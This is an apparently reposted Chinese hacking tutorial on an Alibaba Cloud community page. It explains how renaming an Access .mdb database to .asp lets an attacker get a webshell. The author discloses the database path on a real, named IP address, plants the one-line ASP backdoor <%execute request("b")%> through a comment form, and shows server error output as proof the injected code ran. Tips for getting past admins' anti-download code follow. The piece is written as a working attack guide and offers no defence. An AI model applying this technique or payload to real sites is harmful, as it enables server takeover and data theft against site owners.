改mdb為asp所帶來的災難

來源:互聯網
上載者:User
可能是隨著網路安全技術的發展吧,管理員的素質都在提高,在使用access+asp系統時,為不資料庫被人下載,到把mdb改為asp或asa。先不說直接改尾碼,直接可以用網快等工具直接下載,其實這樣你已經是為入侵者開啟了大門。入侵者可以利用asp/asa為尾碼的資料庫直接得到webshell。
1. 思路
大家都知道<%%>為asp檔案的標誌符,也就是說一個asp檔案只會去執行<% %>之間的代碼,access+asp的web系統的所有資料都是存放在資料庫檔案裡(mdb檔案),由於管理者把mdb檔案改為了asp檔案,如果我們提交的資料裡包含有<%%>,那當我們訪問這個asp資料庫的時候就會去執行<%%>之間的代碼。這樣導致我們只提交惡意代碼給資料庫,那麼asp尾碼的資料庫就是我們的webshell了。
2. 樣本
隨便找個目標,首先我們暴庫,看是不是asp尾碼的資料庫:
<http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210>
返回:
Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6' 缺少 'End' /iisHelp/common/500-100.asp,行?4 Microsoft JET Database Engine 錯誤 '80004005' 'D:log_mdb%29dlog_mdb%29.asp'不是一個有效路徑。確定路徑名稱拼字是否正確,以及是否串連到檔案存放的伺服器。
  /test/conn.asp,行?我們提交:<http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp>返回一堆的亂碼,這樣我們可以直接用網際快車等工具直接下載資料庫(這裡我們不討論)。我們回到首頁看到有提供“網友評論”功能。我們註冊個使用者,發一條評論:
<%execute request("b")%>
這樣我們就把asp代碼:<%execute request("b")%>寫入了資料庫,那麼資料庫:就是我們的webshell咯。提交:<http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp>在亂碼的最後我們看到:
/iisHelp/common/500-100.asp,行?4 Microsoft VBScript 執行階段錯誤 錯誤 '800a000d' 類型不符&Aring;&auml;: 'execut /test/dlog/log_mdb/%29dlog_mdb%29.asp,行?26
哈哈,我們的插入的代碼運行了。如下圖:
注意:我們在向資料庫提交代碼時,代碼內容不可以太大。所以我們採用<%execute request("b")%>。
3. 其他一些問題和思路
1.對於改了尾碼為asp,還對資料庫裡加入了<%=’a’-1%>等非法的asp代碼來徹底防止下載的資料庫,由於裡面存在了非法的asp代碼,插入我們的webshell代碼後運行,將只會顯示前面非法代碼的錯誤,而不去執行我們shell的代碼。雖然這樣可以防止一定的攻擊,但還是存在一定的隱患,我們只要在出錯的代碼前加入相容錯誤的代碼,就可以得到正確顯示執行我們插入的webshell代碼了。
2.對於沒有改尾碼的,也就是mdb檔案,這樣我們可以先直接下載下來得到後台密碼,進了後台,可以利用資料庫備用改尾碼為asp。
也可能是我大驚小怪了。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.